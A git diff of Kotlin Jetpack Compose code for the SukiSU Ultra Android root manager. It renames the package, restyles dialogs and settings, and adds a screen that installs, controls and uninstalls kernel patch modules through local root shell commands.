val isAbDevice = isAbDevice() val isAbDevice = isAbDevice()
val horizonKernelSummary = stringResource(R.string.horizon_kernel_summary)
val selectFileTip = stringResource( val selectFileTip = stringResource(
id = R.string.select_file_tip, id = R.string.select_file_tip,
if (isInitBoot()) "init_boot" else "boot" if (isInitBoot()) "init_boot" else "boot"
@@ -402,7 +323,7 @@ private fun SelectInstallMethod(onSelected: (InstallMethod) -> Unit = {}) {
if (isAbDevice) { if (isAbDevice) {
radioOptions.add(InstallMethod.DirectInstallToInactiveSlot) radioOptions.add(InstallMethod.DirectInstallToInactiveSlot)
} }
radioOptions.add(InstallMethod.HorizonKernel(summary = "Flashing the Anykernel3 Kernel")) radioOptions.add(InstallMethod.HorizonKernel(summary = horizonKernelSummary))
} }
var selectedOption by remember { mutableStateOf<InstallMethod?>(null) } var selectedOption by remember { mutableStateOf<InstallMethod?>(null) }
@@ -415,7 +336,7 @@ private fun SelectInstallMethod(onSelected: (InstallMethod) -> Unit = {}) {
it.data?.data?.let { uri -> it.data?.data?.let { uri ->
val option = when (currentSelectingMethod) { val option = when (currentSelectingMethod) {
is InstallMethod.SelectFile -> InstallMethod.SelectFile(uri, summary = selectFileTip) is InstallMethod.SelectFile -> InstallMethod.SelectFile(uri, summary = selectFileTip)
is InstallMethod.HorizonKernel -> InstallMethod.HorizonKernel(uri, summary = " Flashing the Anykernel3 Kernel") is InstallMethod.HorizonKernel -> InstallMethod.HorizonKernel(uri, summary = horizonKernelSummary)
else -> null else -> null
} }
option?.let { option?.let {
@@ -506,41 +427,79 @@ fun rememberSelectKmiDialog(onSelected: (String?) -> Unit): DialogHandle {
val supportedKmi by produceState(initialValue = emptyList<String>()) { val supportedKmi by produceState(initialValue = emptyList<String>()) {
value = getSupportedKmis() value = getSupportedKmis()
} }
val options = supportedKmi.map { value -> val listOptions = supportedKmi.map { value ->
ListOption( ListOption(
titleText = value titleText = value,
subtitleText = null,
icon = null
) )
} }
var selection by remember { mutableStateOf<String?>(null) } var selection: String? = null
Surface( val cardColor = if (!ThemeConfig.useDynamicColor) {
color = MaterialTheme.colorScheme.secondaryContainer, ThemeConfig.currentTheme.ButtonContrast
contentColor = MaterialTheme.colorScheme.onSecondaryContainer, } else {
shape = MaterialTheme.shapes.medium MaterialTheme.colorScheme.secondaryContainer
) { }
ListDialog(
state = rememberUseCaseState( AlertDialog(
visible = true, onDismissRequest = {
onFinishedRequest = {
onSelected(selection)
},
onCloseRequest = {
dismiss() dismiss()
},
title = {
Text(text = stringResource(R.string.select_kmi))
},
text = {
Column {
listOptions.forEachIndexed { index, option ->
Row(
modifier = Modifier
.clickable {
selection = supportedKmi[index]
} }
), .padding(vertical = 8.dp)
header = Header.Default( ) {
title = stringResource(R.string.select_kmi), Column {
), Text(text = option.titleText)
selection = ListSelection.Single( option.subtitleText?.let {
showRadioButtons = true, Text(
options = options, text = it,
) { _, option -> style = MaterialTheme.typography.bodySmall,
selection = option.titleText color = MaterialTheme.colorScheme.onSurfaceVariant
}
) )
} }
} }
} }
}
}
},
confirmButton = {
TextButton(
onClick = {
if (selection != null) {
onSelected(selection)
}
dismiss()
}
) {
Text(text = stringResource(android.R.string.ok))
}
},
dismissButton = {
TextButton(
onClick = {
dismiss()
}
) {
Text(text = stringResource(android.R.string.cancel))
}
},
containerColor = getCardColors(cardColor.copy(alpha = 0.9f)).containerColor.copy(alpha = 0.9f),
shape = MaterialTheme.shapes.medium,
tonalElevation = getCardElevation()
)
}
}
@OptIn(ExperimentalMaterial3Api::class) @OptIn(ExperimentalMaterial3Api::class)
@Composable @Composable
@@ -549,8 +508,15 @@ private fun TopBar(
onLkmUpload: () -> Unit = {}, onLkmUpload: () -> Unit = {},
scrollBehavior: TopAppBarScrollBehavior? = null scrollBehavior: TopAppBarScrollBehavior? = null
) { ) {
val cardColor = MaterialTheme.colorScheme.secondaryContainer
val cardAlpha = CardConfig.cardAlpha
TopAppBar( TopAppBar(
title = { Text(stringResource(R.string.install)) }, title = { Text(stringResource(R.string.install)) },
colors = TopAppBarDefaults.topAppBarColors(
containerColor = cardColor.copy(alpha = cardAlpha),
scrolledContainerColor = cardColor.copy(alpha = cardAlpha)
),
navigationIcon = { navigationIcon = {
IconButton(onClick = onBack) { IconButton(onClick = onBack) {
Icon(Icons.AutoMirrored.Filled.ArrowBack, contentDescription = null) Icon(Icons.AutoMirrored.Filled.ArrowBack, contentDescription = null)

View File

@@ -0,0 +1,631 @@
package com.sukisu.ultra.ui.screen
import android.app.Activity.RESULT_OK
import android.content.Context
import android.content.Intent
import android.util.Log
import androidx.activity.compose.rememberLauncherForActivityResult
import androidx.activity.result.contract.ActivityResultContracts
import androidx.compose.foundation.layout.*
import androidx.compose.foundation.lazy.LazyColumn
import androidx.compose.foundation.lazy.items
import androidx.compose.material.icons.Icons
import androidx.compose.material.icons.outlined.*
import androidx.compose.material3.*
import androidx.compose.runtime.*
import androidx.compose.ui.Alignment
import androidx.compose.ui.Modifier
import androidx.compose.ui.platform.LocalContext
import androidx.compose.ui.res.stringResource
import androidx.compose.ui.text.style.TextAlign
import androidx.compose.ui.unit.dp
import androidx.lifecycle.viewmodel.compose.viewModel
import com.ramcosta.composedestinations.annotation.Destination
import com.ramcosta.composedestinations.annotation.RootGraph
import com.ramcosta.composedestinations.navigation.DestinationsNavigator
import kotlinx.coroutines.delay
import kotlinx.coroutines.launch
import com.sukisu.ultra.ui.component.*
import com.sukisu.ultra.ui.theme.*
import com.sukisu.ultra.ui.viewmodel.KpmViewModel
import com.sukisu.ultra.ui.util.*
import java.io.File
import androidx.core.content.edit
import com.sukisu.ultra.R
import java.io.BufferedReader
import java.io.FileInputStream
import java.io.InputStreamReader
import java.net.*
/**
* KPM 管理界面
* 以下内核模块功能由KernelPatch开发经过修改后加入SukiSU Ultra的内核模块功能
* 开发者ShirkNeko, Liaokong
*/
@OptIn(ExperimentalMaterial3Api::class)
@Destination<RootGraph>
@Composable
fun KpmScreen(
navigator: DestinationsNavigator,
viewModel: KpmViewModel = viewModel()
) {
val context = LocalContext.current
val scope = rememberCoroutineScope()
val snackBarHost = remember { SnackbarHostState() }
val confirmDialog = rememberConfirmDialog()
val cardColor = if (!ThemeConfig.useDynamicColor) {
ThemeConfig.currentTheme.ButtonContrast
} else {
MaterialTheme.colorScheme.secondaryContainer
}
val moduleConfirmContentMap = viewModel.moduleList.associate { module ->
val moduleFileName = module.id
module.id to stringResource(R.string.confirm_uninstall_content, moduleFileName)
}
val scrollBehavior = TopAppBarDefaults.pinnedScrollBehavior(rememberTopAppBarState())
val kpmInstallSuccess = stringResource(R.string.kpm_install_success)
val kpmInstallFailed = stringResource(R.string.kpm_install_failed)
val cancel = stringResource(R.string.cancel)
val uninstall = stringResource(R.string.uninstall)
val failedToCheckModuleFile = stringResource(R.string.snackbar_failed_to_check_module_file)
val kpmUninstallSuccess = stringResource(R.string.kpm_uninstall_success)
val kpmUninstallFailed = stringResource(R.string.kpm_uninstall_failed)
val kpmInstallMode = stringResource(R.string.kpm_install_mode)
val kpmInstallModeLoad = stringResource(R.string.kpm_install_mode_load)
val kpmInstallModeEmbed = stringResource(R.string.kpm_install_mode_embed)
val invalidFileTypeMessage = stringResource(R.string.invalid_file_type)
val confirmTitle = stringResource(R.string.confirm_uninstall_title_with_filename)
var tempFileForInstall by remember { mutableStateOf<File?>(null) }
val installModeDialog = rememberCustomDialog { dismiss ->
var moduleName by remember { mutableStateOf<String?>(null) }
LaunchedEffect(tempFileForInstall) {
tempFileForInstall?.let { tempFile ->
try {
val command = arrayOf("su", "-c", "strings ${tempFile.absolutePath} | grep 'name='")
val process = Runtime.getRuntime().exec(command)
val inputStream = process.inputStream
val reader = BufferedReader(InputStreamReader(inputStream))
var line: String?
while (reader.readLine().also { line = it } != null) {
if (line!!.startsWith("name=")) {
moduleName = line.substringAfter("name=").trim()
break
}
}
process.waitFor()
} catch (e: Exception) {
Log.e("KsuCli", "Failed to get module name: ${e.message}", e)
}
}
}
AlertDialog(
onDismissRequest = {
dismiss()
tempFileForInstall?.delete()
tempFileForInstall = null
},
title = { Text(kpmInstallMode) },
text = { moduleName?.let { Text(stringResource(R.string.kpm_install_mode_description, it)) } },
confirmButton = {
Column {
Button(
onClick = {
scope.launch {
dismiss()
tempFileForInstall?.let { tempFile ->
handleModuleInstall(
tempFile = tempFile,
isEmbed = false,
viewModel = viewModel,
snackBarHost = snackBarHost,
kpmInstallSuccess = kpmInstallSuccess,
kpmInstallFailed = kpmInstallFailed
)
}
tempFileForInstall = null
}
}
) {
Text(kpmInstallModeLoad)
}
Spacer(modifier = Modifier.height(8.dp))
Button(
onClick = {
scope.launch {
dismiss()
tempFileForInstall?.let { tempFile ->
handleModuleInstall(
tempFile = tempFile,
isEmbed = true,
viewModel = viewModel,
snackBarHost = snackBarHost,
kpmInstallSuccess = kpmInstallSuccess,
kpmInstallFailed = kpmInstallFailed
)
}
tempFileForInstall = null
}
}
) {
Text(kpmInstallModeEmbed)
}
}
},
dismissButton = {
TextButton(
onClick = {
dismiss()
tempFileForInstall?.delete()
tempFileForInstall = null
}
) {
Text(cancel)
}
}
)
}
val selectPatchLauncher = rememberLauncherForActivityResult(
contract = ActivityResultContracts.StartActivityForResult()
) { result ->
if (result.resultCode != RESULT_OK) return@rememberLauncherForActivityResult
val uri = result.data?.data ?: return@rememberLauncherForActivityResult
scope.launch {
val fileName = uri.lastPathSegment ?: "unknown.kpm"
val encodedFileName = URLEncoder.encode(fileName, "UTF-8")
val tempFile = File(context.cacheDir, encodedFileName)
context.contentResolver.openInputStream(uri)?.use { input ->
tempFile.outputStream().use { output ->
input.copyTo(output)
}
}
val mimeType = context.contentResolver.getType(uri)
val isCorrectMimeType = mimeType == null || mimeType.contains("application/octet-stream")
if (!isCorrectMimeType) {
var shouldShowSnackbar = true
try {
val matchCount = checkStringsCommand(tempFile)
val isElf = isElfFile(tempFile)
if (matchCount >= 1 || isElf) {
shouldShowSnackbar = false
}
} catch (e: Exception) {
Log.e("KsuCli", "Failed to execute checks: ${e.message}", e)
}
if (shouldShowSnackbar) {
snackBarHost.showSnackbar(
message = invalidFileTypeMessage,
duration = SnackbarDuration.Short
)
}
tempFile.delete()
return@launch
}
tempFileForInstall = tempFile
installModeDialog.show()
}
}
LaunchedEffect(Unit) {
while(true) {
viewModel.fetchModuleList()
delay(5000)
}
}
val sharedPreferences = context.getSharedPreferences("app_preferences", Context.MODE_PRIVATE)
var isNoticeClosed by remember { mutableStateOf(sharedPreferences.getBoolean("is_notice_closed", false)) }
Scaffold(
topBar = {
SearchAppBar(
title = { Text(stringResource(R.string.kpm_title)) },
searchText = viewModel.search,
onSearchTextChange = { viewModel.search = it },
onClearClick = { viewModel.search = "" },
scrollBehavior = scrollBehavior,
dropdownContent = {
IconButton(onClick = { viewModel.fetchModuleList() }) {
Icon(
imageVector = Icons.Outlined.Refresh,
contentDescription = stringResource(R.string.refresh)
)
}
}
)
},
floatingActionButton = {
ExtendedFloatingActionButton(
onClick = {
selectPatchLauncher.launch(
Intent(Intent.ACTION_GET_CONTENT).apply {
type = "application/octet-stream"
}
)
},
icon = {
Icon(
imageVector = Icons.Outlined.Add,
contentDescription = stringResource(R.string.kpm_install)
)
},
text = { Text(stringResource(R.string.kpm_install)) },
containerColor = cardColor.copy(alpha = 1f),
contentColor = MaterialTheme.colorScheme.onSecondaryContainer
)
},
snackbarHost = { SnackbarHost(snackBarHost) }
) { padding ->
Column(modifier = Modifier.padding(padding)) {
if (!isNoticeClosed) {
Row(
modifier = Modifier
.fillMaxWidth()
.padding(16.dp),
horizontalArrangement = Arrangement.SpaceBetween,
verticalAlignment = Alignment.CenterVertically
) {
Text(
text = stringResource(R.string.kernel_module_notice),
modifier = Modifier.weight(1f),
textAlign = TextAlign.Center
)
IconButton(onClick = {
isNoticeClosed = true
sharedPreferences.edit { putBoolean("is_notice_closed", true) }
}) {
Icon(
imageVector = Icons.Outlined.Close,
contentDescription = stringResource(R.string.close_notice)
)
}
}
}
if (viewModel.moduleList.isEmpty()) {
Box(
modifier = Modifier.fillMaxSize(),
contentAlignment = Alignment.Center
) {
Text(
stringResource(R.string.kpm_empty),
textAlign = TextAlign.Center
)
}
} else {
LazyColumn(
modifier = Modifier.fillMaxSize(),
contentPadding = PaddingValues(16.dp),
verticalArrangement = Arrangement.spacedBy(16.dp)
) {
items(viewModel.moduleList) { module ->
KpmModuleItem(
module = module,
onUninstall = {
scope.launch {
val confirmContent = moduleConfirmContentMap[module.id] ?: ""
handleModuleUninstall(
module = module,
viewModel = viewModel,
snackBarHost = snackBarHost,
kpmUninstallSuccess = kpmUninstallSuccess,
kpmUninstallFailed = kpmUninstallFailed,
failedToCheckModuleFile = failedToCheckModuleFile,
uninstall = uninstall,
cancel = cancel,
confirmDialog = confirmDialog,
confirmTitle = confirmTitle,
confirmContent = confirmContent
)
}
},
onControl = {
viewModel.loadModuleDetail(module.id)
}
)
}
}
}
}
}
}
private suspend fun handleModuleInstall(
tempFile: File,
isEmbed: Boolean,
viewModel: KpmViewModel,
snackBarHost: SnackbarHostState,
kpmInstallSuccess: String,
kpmInstallFailed: String
) {
var moduleId: String? = null
try {
val command = arrayOf("su", "-c", "strings ${tempFile.absolutePath} | grep 'name='")
val process = Runtime.getRuntime().exec(command)
val inputStream = process.inputStream
val reader = BufferedReader(InputStreamReader(inputStream))
var line: String?
while (reader.readLine().also { line = it } != null) {
if (line!!.startsWith("name=")) {
moduleId = line.substringAfter("name=").trim()
break
}
}
process.waitFor()
} catch (e: Exception) {
Log.e("KsuCli", "Failed to get module ID from strings command: ${e.message}", e)
}
if (moduleId == null || moduleId.isEmpty()) {
Log.e("KsuCli", "Failed to extract module ID from file: ${tempFile.name}")
snackBarHost.showSnackbar(
message = kpmInstallFailed,
duration = SnackbarDuration.Short
)
tempFile.delete()
return
}
val targetPath = "/data/adb/kpm/$moduleId.kpm"
try {
if (isEmbed) {
Runtime.getRuntime().exec(arrayOf("su", "-c", "mkdir -p /data/adb/kpm")).waitFor()
Runtime.getRuntime().exec(arrayOf("su", "-c", "cp ${tempFile.absolutePath} $targetPath")).waitFor()
}
val loadResult = loadKpmModule(tempFile.absolutePath)
if (loadResult.startsWith("Error")) {
Log.e("KsuCli", "Failed to load KPM module: $loadResult")
snackBarHost.showSnackbar(
message = kpmInstallFailed,
duration = SnackbarDuration.Short
)
} else {
viewModel.fetchModuleList()
snackBarHost.showSnackbar(
message = kpmInstallSuccess,
duration = SnackbarDuration.Short
)
}
} catch (e: Exception) {
Log.e("KsuCli", "Failed to load KPM module: ${e.message}", e)
snackBarHost.showSnackbar(
message = kpmInstallFailed,
duration = SnackbarDuration.Short
)
}
tempFile.delete()
}
private suspend fun handleModuleUninstall(
module: KpmViewModel.ModuleInfo,
viewModel: KpmViewModel,
snackBarHost: SnackbarHostState,
kpmUninstallSuccess: String,
kpmUninstallFailed: String,
failedToCheckModuleFile: String,
uninstall: String,
cancel: String,
confirmTitle : String,
confirmContent : String,
confirmDialog: ConfirmDialogHandle
) {
val moduleFileName = "${module.id}.kpm"
val moduleFilePath = "/data/adb/kpm/$moduleFileName"
val fileExists = try {
val result = Runtime.getRuntime().exec(arrayOf("su", "-c", "ls /data/adb/kpm/$moduleFileName")).waitFor() == 0
result
} catch (e: Exception) {
Log.e("KsuCli", "Failed to check module file existence: ${e.message}", e)
snackBarHost.showSnackbar(
message = failedToCheckModuleFile,
duration = SnackbarDuration.Short
)
false
}
val confirmResult = confirmDialog.awaitConfirm(
title = confirmTitle,
content = confirmContent,
confirm = uninstall,
dismiss = cancel
)
if (confirmResult == ConfirmResult.Confirmed) {
try {
val unloadResult = unloadKpmModule(module.id)
if (unloadResult.startsWith("Error")) {
Log.e("KsuCli", "Failed to unload KPM module: $unloadResult")
snackBarHost.showSnackbar(
message = kpmUninstallFailed,
duration = SnackbarDuration.Short
)
return
}
if (fileExists) {
Runtime.getRuntime().exec(arrayOf("su", "-c", "rm $moduleFilePath")).waitFor()
}
viewModel.fetchModuleList()
snackBarHost.showSnackbar(
message = kpmUninstallSuccess,
duration = SnackbarDuration.Short
)
} catch (e: Exception) {
Log.e("KsuCli", "Failed to unload KPM module: ${e.message}", e)
snackBarHost.showSnackbar(
message = kpmUninstallFailed,
duration = SnackbarDuration.Short
)
}
}
}
@Composable
private fun KpmModuleItem(
module: KpmViewModel.ModuleInfo,
onUninstall: () -> Unit,
onControl: () -> Unit
) {
val viewModel: KpmViewModel = viewModel()
val scope = rememberCoroutineScope()
val snackBarHost = remember { SnackbarHostState() }
val successMessage = stringResource(R.string.kpm_control_success)
val failureMessage = stringResource(R.string.kpm_control_failed)
if (viewModel.showInputDialog && viewModel.selectedModuleId == module.id) {
AlertDialog(
onDismissRequest = { viewModel.hideInputDialog() },
title = { Text(stringResource(R.string.kpm_control)) },
text = {
OutlinedTextField(
value = viewModel.inputArgs,
onValueChange = { viewModel.updateInputArgs(it) },
label = { Text(stringResource(R.string.kpm_args)) },
placeholder = { Text(module.args) }
)
},
confirmButton = {
TextButton(
onClick = {
scope.launch {
val result = viewModel.executeControl()
val message = when (result) {
0 -> successMessage
else -> failureMessage
}
snackBarHost.showSnackbar(message)
onControl()
}
}
) {
Text(stringResource(R.string.confirm))
}
},
dismissButton = {
TextButton(onClick = { viewModel.hideInputDialog() }) {
Text(stringResource(R.string.cancel))
}
}
)
}
ElevatedCard(
colors = getCardColors(MaterialTheme.colorScheme.secondaryContainer),
elevation = CardDefaults.cardElevation(defaultElevation = getCardElevation())
) {
Column(
modifier = Modifier.padding(16.dp)
) {
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.SpaceBetween,
verticalAlignment = Alignment.CenterVertically
) {
Column(modifier = Modifier.weight(1f)) {
Text(
text = module.name,
style = MaterialTheme.typography.titleMedium
)
Text(
text = "${stringResource(R.string.kpm_version)}: ${module.version}",
style = MaterialTheme.typography.bodyMedium
)
Text(
text = "${stringResource(R.string.kpm_author)}: ${module.author}",
style = MaterialTheme.typography.bodyMedium
)
Text(
text = "${stringResource(R.string.kpm_args)}: ${module.args}",
style = MaterialTheme.typography.bodyMedium
)
}
}
Spacer(modifier = Modifier.height(8.dp))
Text(
text = module.description,
style = MaterialTheme.typography.bodyMedium
)
Spacer(modifier = Modifier.height(16.dp))
Row(
modifier = Modifier.fillMaxWidth(),
horizontalArrangement = Arrangement.spacedBy(8.dp)
) {
FilledTonalButton(
onClick = { viewModel.showInputDialog(module.id) },
enabled = module.hasAction
) {
Icon(
imageVector = Icons.Outlined.Settings,
contentDescription = null
)
Text(stringResource(R.string.kpm_control))
}
FilledTonalButton(
onClick = onUninstall
) {
Icon(
imageVector = Icons.Outlined.Delete,
contentDescription = null
)
Text(stringResource(R.string.kpm_uninstall))
}
}
}
}
}
private fun checkStringsCommand(tempFile: File): Int {
val command = arrayOf("su", "-c", "strings ${tempFile.absolutePath} | grep -E 'name=|version=|license=|author='")
val process = Runtime.getRuntime().exec(command)
val inputStream = process.inputStream
val reader = BufferedReader(InputStreamReader(inputStream))
var line: String?
var matchCount = 0
val keywords = listOf("name=", "version=", "license=", "author=")
var nameExists = false
while (reader.readLine().also { line = it } != null) {
if (!nameExists && line!!.startsWith("name=")) {
nameExists = true
matchCount++
} else if (nameExists) {
for (keyword in keywords) {
if (line!!.startsWith(keyword)) {
matchCount++
break
}
}
}
}
process.waitFor()
return if (nameExists) matchCount else 0
}
private fun isElfFile(tempFile: File): Boolean {
val elfMagic = byteArrayOf(0x7F, 'E'.code.toByte(), 'L'.code.toByte(), 'F'.code.toByte())
val fileBytes = ByteArray(4)
FileInputStream(tempFile).use { input ->
input.read(fileBytes)
}
return fileBytes.contentEquals(elfMagic)
}

View File

@@ -1,4 +1,4 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import android.app.Activity.* import android.app.Activity.*
import android.content.Context import android.content.Context
@@ -88,32 +88,32 @@ import com.ramcosta.composedestinations.navigation.EmptyDestinationsNavigator
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import kotlinx.coroutines.withContext import kotlinx.coroutines.withContext
import shirkneko.zako.sukisu.Natives import com.sukisu.ultra.Natives
import shirkneko.zako.sukisu.R import com.sukisu.ultra.ui.component.ConfirmResult
import shirkneko.zako.sukisu.ui.component.ConfirmResult import com.sukisu.ultra.ui.component.SearchAppBar
import shirkneko.zako.sukisu.ui.component.SearchAppBar import com.sukisu.ultra.ui.component.rememberConfirmDialog
import shirkneko.zako.sukisu.ui.component.rememberConfirmDialog import com.sukisu.ultra.ui.component.rememberLoadingDialog
import shirkneko.zako.sukisu.ui.component.rememberLoadingDialog import com.sukisu.ultra.ui.util.DownloadListener
import shirkneko.zako.sukisu.ui.util.DownloadListener import com.sukisu.ultra.ui.util.*
import shirkneko.zako.sukisu.ui.util.* import com.sukisu.ultra.ui.util.download
import shirkneko.zako.sukisu.ui.util.download import com.sukisu.ultra.ui.util.hasMagisk
import shirkneko.zako.sukisu.ui.util.hasMagisk import com.sukisu.ultra.ui.util.reboot
import shirkneko.zako.sukisu.ui.util.reboot import com.sukisu.ultra.ui.util.restoreModule
import shirkneko.zako.sukisu.ui.util.restoreModule import com.sukisu.ultra.ui.util.toggleModule
import shirkneko.zako.sukisu.ui.util.toggleModule import com.sukisu.ultra.ui.util.uninstallModule
import shirkneko.zako.sukisu.ui.util.uninstallModule import com.sukisu.ultra.ui.webui.WebUIActivity
import shirkneko.zako.sukisu.ui.webui.WebUIActivity
import okhttp3.OkHttpClient import okhttp3.OkHttpClient
import shirkneko.zako.sukisu.ui.util.ModuleModify import com.sukisu.ultra.ui.util.ModuleModify
import shirkneko.zako.sukisu.ui.theme.getCardColors import com.sukisu.ultra.ui.theme.getCardColors
import shirkneko.zako.sukisu.ui.theme.getCardElevation import com.sukisu.ultra.ui.theme.getCardElevation
import shirkneko.zako.sukisu.ui.viewmodel.ModuleViewModel import com.sukisu.ultra.ui.viewmodel.ModuleViewModel
import java.io.BufferedReader import java.io.BufferedReader
import java.io.InputStreamReader import java.io.InputStreamReader
import java.util.zip.ZipInputStream import java.util.zip.ZipInputStream
import androidx.core.content.edit import androidx.core.content.edit
import androidx.core.net.toUri import androidx.core.net.toUri
import shirkneko.zako.sukisu.ui.theme.ThemeConfig import com.sukisu.ultra.ui.theme.ThemeConfig
import com.sukisu.ultra.R
@OptIn(ExperimentalMaterial3Api::class) @OptIn(ExperimentalMaterial3Api::class)
@@ -346,7 +346,11 @@ fun ModuleScreen(navigator: DestinationsNavigator) {
floatingActionButton = { floatingActionButton = {
if (!hideInstallButton) { if (!hideInstallButton) {
val moduleInstall = stringResource(id = R.string.module_install) val moduleInstall = stringResource(id = R.string.module_install)
val cardColor = MaterialTheme.colorScheme.secondaryContainer val cardColor = if (!ThemeConfig.useDynamicColor) {
ThemeConfig.currentTheme.ButtonContrast
} else {
MaterialTheme.colorScheme.secondaryContainer
}
ExtendedFloatingActionButton( ExtendedFloatingActionButton(
onClick = { onClick = {
selectZipLauncher.launch( selectZipLauncher.launch(

View File

@@ -1,5 +1,6 @@
package shirkneko.zako.sukisu.ui.screen package com.sukisu.ultra.ui.screen
import androidx.compose.animation.AnimatedVisibility
import android.content.Context import android.content.Context
import android.net.Uri import android.net.Uri
import android.os.Build import android.os.Build
@@ -23,9 +24,8 @@ import androidx.compose.foundation.background
import androidx.compose.foundation.clickable import androidx.compose.foundation.clickable
import androidx.compose.foundation.interaction.MutableInteractionSource import androidx.compose.foundation.interaction.MutableInteractionSource
import androidx.compose.foundation.isSystemInDarkTheme import androidx.compose.foundation.isSystemInDarkTheme
import androidx.compose.foundation.layout.fillMaxWidth
import androidx.compose.foundation.shape.CircleShape import androidx.compose.foundation.shape.CircleShape
import androidx.compose.material3.Slider
import androidx.compose.material3.SliderDefaults
import androidx.compose.runtime.saveable.rememberSaveable import androidx.compose.runtime.saveable.rememberSaveable
import androidx.compose.ui.Alignment import androidx.compose.ui.Alignment
import com.ramcosta.composedestinations.annotation.Destination import com.ramcosta.composedestinations.annotation.Destination
@@ -35,21 +35,13 @@ import com.topjohnwu.superuser.Shell
import kotlinx.coroutines.CoroutineScope import kotlinx.coroutines.CoroutineScope
import kotlinx.coroutines.Dispatchers import kotlinx.coroutines.Dispatchers
import kotlinx.coroutines.launch import kotlinx.coroutines.launch
import shirkneko.zako.sukisu.R import com.sukisu.ultra.ui.component.ImageEditorDialog
import shirkneko.zako.sukisu.ui.component.SwitchItem import com.sukisu.ultra.ui.component.SwitchItem
import shirkneko.zako.sukisu.ui.theme.CardConfig import com.sukisu.ultra.ui.theme.*
import shirkneko.zako.sukisu.ui.theme.ThemeColors import com.sukisu.ultra.ui.util.*
import shirkneko.zako.sukisu.ui.theme.ThemeConfig
import shirkneko.zako.sukisu.ui.theme.saveCustomBackground
import shirkneko.zako.sukisu.ui.theme.saveThemeColors
import shirkneko.zako.sukisu.ui.theme.saveThemeMode
import shirkneko.zako.sukisu.ui.theme.saveDynamicColorState
import shirkneko.zako.sukisu.ui.util.getSuSFS
import shirkneko.zako.sukisu.ui.util.getSuSFSFeatures
import shirkneko.zako.sukisu.ui.util.susfsSUS_SU_0
import shirkneko.zako.sukisu.ui.util.susfsSUS_SU_2
import shirkneko.zako.sukisu.ui.util.susfsSUS_SU_Mode
import androidx.core.content.edit import androidx.core.content.edit
import com.sukisu.ultra.R
import com.sukisu.ultra.*
fun saveCardConfig(context: Context) { fun saveCardConfig(context: Context) {
@@ -115,6 +107,28 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
isHideVersion = newValue isHideVersion = newValue
} }
// 隐藏模块数量等信息开关状态
var isHideOtherInfo by remember {
mutableStateOf(prefs.getBoolean("is_hide_other_info", false))
}
// 隐藏模块数量等信息开关状态
val onHideOtherInfoChange = { newValue: Boolean ->
prefs.edit { putBoolean("is_hide_other_info", newValue) }
isHideOtherInfo = newValue
}
// 隐藏 SuSFS 状态开关状态
var isHideSusfsStatus by remember {
mutableStateOf(prefs.getBoolean("is_hide_susfs_status", false))
}
// 隐藏 SuSFS 状态开关状态
val onHideSusfsStatusChange = { newValue: Boolean ->
prefs.edit { putBoolean("is_hide_susfs_status", newValue) }
isHideSusfsStatus = newValue
}
// SELinux 状态 // SELinux 状态
var selinuxEnabled by remember { var selinuxEnabled by remember {
mutableStateOf(Shell.cmd("getenforce").exec().out.firstOrNull() == "Enforcing") mutableStateOf(Shell.cmd("getenforce").exec().out.firstOrNull() == "Enforcing")
@@ -127,11 +141,15 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
mutableStateOf(ThemeConfig.customBackgroundUri != null) mutableStateOf(ThemeConfig.customBackgroundUri != null)
} }
// 图片编辑状态
var showImageEditor by remember { mutableStateOf(false) }
var selectedImageUri by remember { mutableStateOf<Uri?>(null) }
// 初始化卡片配置 // 初始化卡片配置
val systemIsDark = isSystemInDarkTheme() val systemIsDark = isSystemInDarkTheme()
LaunchedEffect(Unit) { LaunchedEffect(Unit) {
CardConfig.apply { CardConfig.apply {
cardAlpha = prefs.getFloat("card_alpha", 0.65f) cardAlpha = prefs.getFloat("card_alpha", 0.45f)
cardElevation = if (prefs.getBoolean("custom_background_enabled", false)) 0.dp else defaultElevation cardElevation = if (prefs.getBoolean("custom_background_enabled", false)) 0.dp else defaultElevation
isCustomAlphaSet = prefs.getBoolean("is_custom_alpha_set", false) isCustomAlphaSet = prefs.getBoolean("is_custom_alpha_set", false)
@@ -139,7 +157,7 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
if (!isCustomAlphaSet) { if (!isCustomAlphaSet) {
val isDarkMode = ThemeConfig.forceDarkMode ?: systemIsDark val isDarkMode = ThemeConfig.forceDarkMode ?: systemIsDark
if (isDarkMode) { if (isDarkMode) {
cardAlpha = 0.5f cardAlpha = 0.35f
} }
} }
} }
@@ -163,17 +181,36 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
) )
var showThemeColorDialog by remember { mutableStateOf(false) } var showThemeColorDialog by remember { mutableStateOf(false) }
val ksuIsValid = Natives.isKsuValid(ksuApp.packageName)
// 图片选择器 // 图片选择器
val pickImageLauncher = rememberLauncherForActivityResult( val pickImageLauncher = rememberLauncherForActivityResult(
ActivityResultContracts.GetContent() ActivityResultContracts.GetContent()
) { uri: Uri? -> ) { uri: Uri? ->
uri?.let { uri?.let {
context.saveCustomBackground(it) selectedImageUri = it
showImageEditor = true
}
}
// 显示图片编辑对话框
if (showImageEditor && selectedImageUri != null) {
ImageEditorDialog(
imageUri = selectedImageUri!!,
onDismiss = {
showImageEditor = false
selectedImageUri = null
},
onConfirm = { transformedUri ->
context.saveAndApplyCustomBackground(transformedUri)
isCustomBackgroundEnabled = true isCustomBackgroundEnabled = true
CardConfig.cardElevation = 0.dp CardConfig.cardElevation = 0.dp
CardConfig.isCustomBackgroundEnabled = true
saveCardConfig(context) saveCardConfig(context)
showImageEditor = false
selectedImageUri = null
} }
)
} }
Scaffold( Scaffold(
@@ -196,6 +233,7 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
.padding(top = 12.dp) .padding(top = 12.dp)
) { ) {
// SELinux 开关 // SELinux 开关
if (ksuIsValid) {
SwitchItem( SwitchItem(
icon = Icons.Filled.Security, icon = Icons.Filled.Security,
title = stringResource(R.string.selinux), title = stringResource(R.string.selinux),
@@ -209,26 +247,73 @@ fun MoreSettingsScreen(navigator: DestinationsNavigator) {
if (result.isSuccess) selinuxEnabled = enabled if (result.isSuccess) selinuxEnabled = enabled
} }
} }
}
var isExpanded by remember { mutableStateOf(false) }
ListItem(
leadingContent = { Icon(Icons.Filled.AutoFixHigh, null) },
